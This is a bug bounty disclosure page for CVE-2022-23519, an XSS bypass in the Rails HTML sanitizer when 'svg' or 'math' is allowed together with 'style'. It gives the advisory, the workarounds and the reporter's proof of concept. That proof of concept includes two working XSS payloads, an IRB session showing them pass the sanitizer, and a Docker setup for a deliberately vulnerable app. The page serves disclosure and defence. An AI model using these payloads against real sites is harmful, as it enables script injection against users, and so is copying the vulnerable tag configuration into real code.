Loading HuntDB...

CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)

Medium
I
Internet Bug Bounty
Submitted None

Team Summary

Official summary from Internet Bug Bounty

###Summary There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer. - Versions affected: ALL - Not affected: NONE - Fixed versions: 1.4.4 ###Impact A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer's allowed tags in either of the following ways: allow both "math" and "style" elements, or allow both "svg" and "style" elements Code is only impacted if allowed tags are being overridden. Applications may be doing this in four different ways: 1. using application configuration: ``` # In config/application.rb config.action_view.sanitized_allowed_tags = ["math", "style"] # or config.action_view.sanitized_allowed_tags = ["svg", "style"] ``` see https://guides.rubyonrails.org/configuring.html#configuring-action-view 2. using a ``:tags`` option to the Action View helper ``sanitize``: ``` <%= sanitize @comment.body, tags: ["math", "style"] %> <%# or %> <%= sanitize @comment.body, tags: ["svg", "style"] %> ``` see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize 3. using Rails::Html::SafeListSanitizer class method ``allowed_tags=``: ``` # class-level option Rails::Html::SafeListSanitizer.allowed_tags = ["math", "style"] # or Rails::Html::SafeListSanitizer.allowed_tags = ["svg", "style"] ``` 4. using a ``:tags`` options to the Rails::Html::SafeListSanitizer instance method ``sanitize``: ``` # instance-level option Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"]) # or Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["svg", "style"]) ``` All users overriding the allowed tags by any of the above mechanisms to include (("math" or "svg") and "style") should either upgrade or use one of the workarounds immediately. ###Workarounds Remove "style" from the overridden allowed tags, or remove "math" and "svg" from the overridden allowed tags. ###References [CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)](https://cwe.mitre.org/data/definitions/79.html) https://hackerone.com/reports/1656627

Reported by 0b5cur17y

Vulnerability Details

Technical details and impact analysis

Cross-site Scripting (XSS) - Generic
The following is from: https://hackerone.com/reports/1656627 ## Intro The Rails HTML sanitzier allows to set certain combinations of tags in it's allow list that are not properly handled. Similar to the report [1530898](https://hackerone.com/reports/1530898), which identified the combination`select` and `style` as vulnerable, my fuzz testing from today suggests that also `svg` and `style` as well as `math` and `style` allow XSS. The following are PoCs for each of these allow list: - `svg` and `style`: `<svg><style><script>alert(1)</script></style></svg>` - `math` and `style`: `<math><style><img src=x onerror=alert(1)></style></math>` See the following IRB session: ``` irb(main):016:0> require 'rails-html-sanitizer' => false irb(main):017:0> Rails::Html::SafeListSanitizer.new.sanitize("<svg><style><script>alert(1)</script></style></svg>", tags: ["svg", "style"]).to_s => "<svg><style><script>alert(1)</script></style></svg>" irb(main):018:0> Rails::Html::SafeListSanitizer.new.sanitize("<math><style><img src=x onerror=alert(1)></style></math>", tags: ["math", "style"]).to_s => "<math><style><img src=x onerror=alert(1)></style></math>" irb(main):019:0> puts Rails::Html::Sanitizer::VERSION 1.4.3 => nil ``` ## Sample Vulnerable Rails Application To build a sample rails application that is vulnerable, I've used the following `Dockerfile`: ``` FROM ruby:3.1.2 RUN apt-get update && apt-get install -y vim WORKDIR /usr/src/app RUN gem install rails && rails new myapp WORKDIR /usr/src/app/myapp COPY build-rails-app.sh ./build-rails-app.sh RUN sh ./build-rails-app.sh RUN RAILS_ENV=production rails assets:precompile CMD ["./bin/rails", "server", "-b", "0.0.0.0", "-e", "production"] ``` In the same directory, put a shell script `build-rails-app.sh` which writes the app: ``` #!/ibn/sh # make routes cat << EOF > ./config/routes.rb Rails.application.routes.draw do get "/poc1", to: "poc1#index" get "/poc2", to: "poc2#index" end EOF # make Poc1 endpoint # http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E bin/rails generate controller Poc1 index --skip-routes cat << EOF > ./app/controllers/poc1_controller.rb class Poc1Controller < ApplicationController def index @name = params[:name] || "put your name here" end end EOF cat << EOF > ./app/views/poc1/index.html.erb <h1> Hello <%= sanitize @name, tags: ["svg", "style"] %> </h1> <br> PoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed. <br> <%= link_to "Go to PoC", "/poc1?name=<svg><style><script>alert(1)</script></style><svg>" %> <br> <br> Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %> EOF # make Poc2 endpoint # http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E bin/rails generate controller Poc2 index --skip-routes cat << EOF > ./app/controllers/poc2_controller.rb class Poc2Controller < ApplicationController def index @name = params[:name] || "put your name here" end end EOF cat << EOF > ./app/views/poc2/index.html.erb <h1> Hello <%= sanitize @name, tags: ["math", "style"] %> </h1> <br> PoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed. <br> <%= link_to "Go to PoC", "/poc2?name=<math><style><img src=x onerror=alert(1)></style><math>" %> <br> <br> Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %> EOF ``` With the following `Makefile` you can build and run the application ``` .PHONY: build build: docker build -t local/railspoc:latest . .PHONY: run run: docker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest ``` Now you have a Rails application with two routes `/poc1` and `/poc2` running locally. Visit: - [http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E](http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E) - [http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E](http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E) See the screenshot in https://hackerone.com/reports/1656627 for what it will roughly look like. Both alerts should be executed. ## Impact It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$2400.00

Submitted

Weakness

Cross-site Scripting (XSS) - Generic